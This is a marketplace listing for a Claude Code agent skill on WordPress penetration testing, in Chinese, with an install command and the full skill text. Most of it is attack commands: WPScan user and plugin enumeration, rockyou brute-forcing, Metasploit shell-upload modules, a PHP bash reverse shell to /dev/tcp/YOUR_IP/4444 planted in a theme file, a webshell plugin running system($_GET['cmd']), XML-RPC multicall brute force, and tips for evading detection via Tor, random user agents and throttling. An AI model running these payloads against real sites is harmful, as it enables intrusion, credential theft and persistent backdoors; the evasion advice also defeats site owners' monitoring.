mcpField
W
wordpress-penetration-testing

wordpress-penetration-testing

github.com/zebbern安全4.7k153 次安装2 天前更新
代码仓库

关于 wordpress-penetration-testing

面向获授权 WordPress 安全评估的技能,指导使用 WPScan 等工具枚举站点组件、检查漏洞并评估凭据。内容涵盖从发现到利用验证的测试流程及报告产出。

主要功能

  1. 01发现 WordPress 安装与版本
  2. 02枚举主题、插件和用户
  3. 03检查漏洞与配置问题
  4. 04评估登录凭据安全
  5. 05记录利用验证结果

适用场景

  1. 01盘点获授权站点的主题与插件
  2. 02检查 WordPress 组件已知漏洞
  3. 03评估用户账户的弱密码风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/zebbern/claude-code-guide --skill wordpress-penetration-testing

安装后在 Claude Code 中输入/wordpress-penetration-testing确认已加载。

详细介绍

WordPress 渗透测试

目的

对 WordPress 安装进行全面的安全评估,包括枚举用户、主题和插件、漏洞扫描、凭据攻击和漏洞利用技术。WordPress 为约 35% 的网站提供支持,因此是安全测试中的关键目标。

前提条件

所需工具
  • WPScan(Kali Linux 预装)
  • Metasploit Framework
  • Burp Suite 或 OWASP ZAP
  • 用于初步发现的 Nmap
  • cURL 或 wget
所需知识
  • WordPress 架构和结构
  • Web 应用测试基础知识
  • HTTP 协议理解
  • 常见 Web 漏洞(OWASP Top 10)

输出和交付物

  1. WordPress 枚举报告 - 版本、主题、插件、用户
  2. 漏洞评估 - 已识别的 CVE 和错误配置
  3. 凭据评估 - 弱密码发现
  4. 漏洞利用证明 - Shell 访问文档

核心工作流

阶段 1:发现 WordPress

识别 WordPress 安装:

# Check for WordPress indicators
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"

# Check common WordPress paths
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php

# Check meta generator tag
curl -s http://target.com | grep "generator"

# Nmap WordPress detection
nmap -p 80,443 --script http-wordpress-enum target.com

WordPress 关键文件和目录:

  • /wp-admin/ - 管理员仪表板
  • /wp-login.php - 登录页面
  • /wp-content/ - 主题、插件、上传文件
  • /wp-includes/ - 核心文件
  • /xmlrpc.php - XML-RPC 接口
  • /wp-config.php - 配置文件(安全配置时无法访问)
  • /readme.html - 版本信息
阶段 2:基础 WPScan 枚举

使用 WPScan 全面扫描 WordPress:

# Basic scan
wpscan --url http://target.com/wordpress/

# With API token (for vulnerability data)
wpscan --url http://target.com --api-token YOUR_API_TOKEN

# Aggressive detection mode
wpscan --url http://target.com --detection-mode aggressive

# Output to file
wpscan --url http://target.com -o results.txt

# JSON output
wpscan --url http://target.com -f json -o results.json

# Verbose output
wpscan --url http://target.com -v
阶段 3:WordPress 版本检测

识别 WordPress 版本:

# WPScan version detection
wpscan --url http://target.com

# Manual version checks
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="

# Check meta generator
curl -s http://target.com | grep 'name="generator"'

# Check RSS feeds
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/

版本来源:

  • HTML 中的 Meta 生成器标签
  • readme.html 文件
  • RSS/Atom 订阅源
  • JavaScript/CSS 文件版本
阶段 4:主题枚举

识别已安装的主题:

# Enumerate all themes
wpscan --url http://target.com -e at

# Enumerate vulnerable themes only
wpscan --url http://target.com -e vt

# Theme enumeration with detection mode
wpscan --url http://target.com -e at --plugins-detection aggressive

# Manual theme detection
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/

主题漏洞检查:

# Search for theme exploits
searchsploit wordpress theme <theme_name>

# Check theme version
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
阶段 5:插件枚举

识别已安装的插件:

# Enumerate all plugins
wpscan --url http://target.com -e ap

# Enumerate vulnerable plugins only
wpscan --url http://target.com -e vp

# Aggressive plugin detection
wpscan --url http://target.com -e ap --plugins-detection aggressive

# Mixed detection mode
wpscan --url http://target.com -e ap --plugins-detection mixed

# Manual plugin discovery
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/

需要检查的常见易受攻击插件:

# Search for plugin exploits
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery

# Check plugin version
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
阶段 6:用户枚举

发现 WordPress 用户:

# WPScan user enumeration
wpscan --url http://target.com -e u

# Enumerate specific number of users
wpscan --url http://target.com -e u1-100

# Author ID enumeration (manual)
for i in {1..20}; do
    curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done

# JSON API user enumeration (if enabled)
curl -s http://target.com/wp-json/wp/v2/users

# REST API user enumeration
curl -s http://target.com/wp-json/wp/v2/users?per_page=100

# Login error enumeration
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
阶段 7:全面枚举

运行所有枚举模块:

# Enumerate everything
wpscan --url http://target.com -e at -e ap -e u

# Alternative comprehensive scan
wpscan --url http://target.com -e vp,vt,u,cb,dbe

# Enumeration flags:
# at - All themes
# vt - Vulnerable themes
# ap - All plugins
# vp - Vulnerable plugins
# u  - Users (1-10)
# cb - Config backups
# dbe - Database exports

# Full aggressive enumeration
wpscan --url http://target.com -e at,ap,u,cb,dbe \
    --detection-mode aggressive \
    --plugins-detection aggressive
阶段 8:密码攻击

对 WordPress 凭据进行暴力破解:

# Single user brute-force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt

# Multiple users from file
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt

# With password attack threads
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50

# XML-RPC brute-force (faster, may bypass protection)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc

# Brute-force with API limiting
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500

# Create targeted wordlist
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt

密码攻击方法:

  • wp-login - 标准登录表单
  • xmlrpc - XML-RPC 多调用(速度更快)
  • xmlrpc-multicall - 每个请求尝试多个密码
阶段 9:漏洞利用
Metasploit Shell 上传

获取凭据后:

# Start Metasploit
msfconsole

# Admin shell upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit
插件漏洞利用
# Slideshow Gallery exploit
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit

# Search for WordPress exploits
search type:exploit platform:php wordpress
手动漏洞利用

主题/插件编辑器(需要管理员权限):

// Navigate to Appearance > Theme Editor
// Edit 404.php or functions.php
// Add PHP reverse shell:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>

// Or use weevely backdoor
// Access via: http://target.com/wp-content/themes/theme_name/404.php

插件上传方法:

# Create malicious plugin
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
EOF

# Zip and upload via Plugins > Add New > Upload Plugin
zip malicious.zip malicious.php

# Access webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
阶段 10:高级技术
XML-RPC 漏洞利用
# Check if XML-RPC is enabled
curl -X POST http://target.com/xmlrpc.php

# List available methods
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php

# Brute-force via XML-RPC multicall
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF

curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
通过代理扫描
# Use Tor proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050

# HTTP proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080

# Burp Suite proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
HTTP 身份验证
# Basic authentication
wpscan --url http://target.com --http-auth admin:password

# Force SSL/TLS
wpscan --url https://target.com --disable-tls-checks

快速参考

WPScan 枚举标志
标志说明
-e at所有主题
-e vt易受攻击的主题
-e ap所有插件
-e vp易受攻击的插件
-e u用户(1-10)
-e cb配置备份
-e dbe数据库导出
常见 WordPress 路径
路径用途
/wp-admin/管理员仪表板
/wp-login.php登录页面
/wp-content/uploads/用户上传文件
/wp-includes/核心文件
/xmlrpc.phpXML-RPC API
/wp-json/REST API
WPScan 命令示例
用途命令
基础扫描wpscan --url http://target.com
全面枚举wpscan --url http://target.com -e at,ap,u
密码攻击wpscan --url http://target.com -U admin -P pass.txt
激进扫描wpscan --url http://target.com --detection-mode aggressive

约束和限制

法律注意事项
  • 测试前获取书面授权
  • 严格遵守定义的范围
  • 记录所有测试活动
  • 遵循负责任的漏洞披露原则
技术限制
  • WAF 可能会阻止扫描
  • 速率限制可能导致无法进行暴力破解
  • 某些插件可能出现漏报
  • XML-RPC 可能已禁用
规避检测
  • 使用随机 User-Agent:--random-user-agent
  • 限制请求频率:--throttle 1000
  • 轮换使用代理
  • 避免在受监控的网站上使用激进模式

故障排除

WPScan 未发现漏洞

解决方案:

  1. 使用 API 令牌访问漏洞数据库
  2. 尝试激进检测模式
  3. 检查是否有 WAF 阻止扫描
  4. 确认是否确实安装了 WordPress
暴力破解被阻止

解决方案:

  1. 使用 XML-RPC 方法,而非 wp-login
  2. 添加请求限速:--throttle 500
  3. 使用不同的 User-Agent
  4. 检查是否存在 IP 封禁或 fail2ban
无法访问管理面板

解决方案:

  1. 确认凭据正确
  2. 检查是否启用了双重身份验证
  3. 查看是否存在 IP 白名单限制
  4. 检查登录 URL 是否已更改(安全插件)

评论

支持 Markdown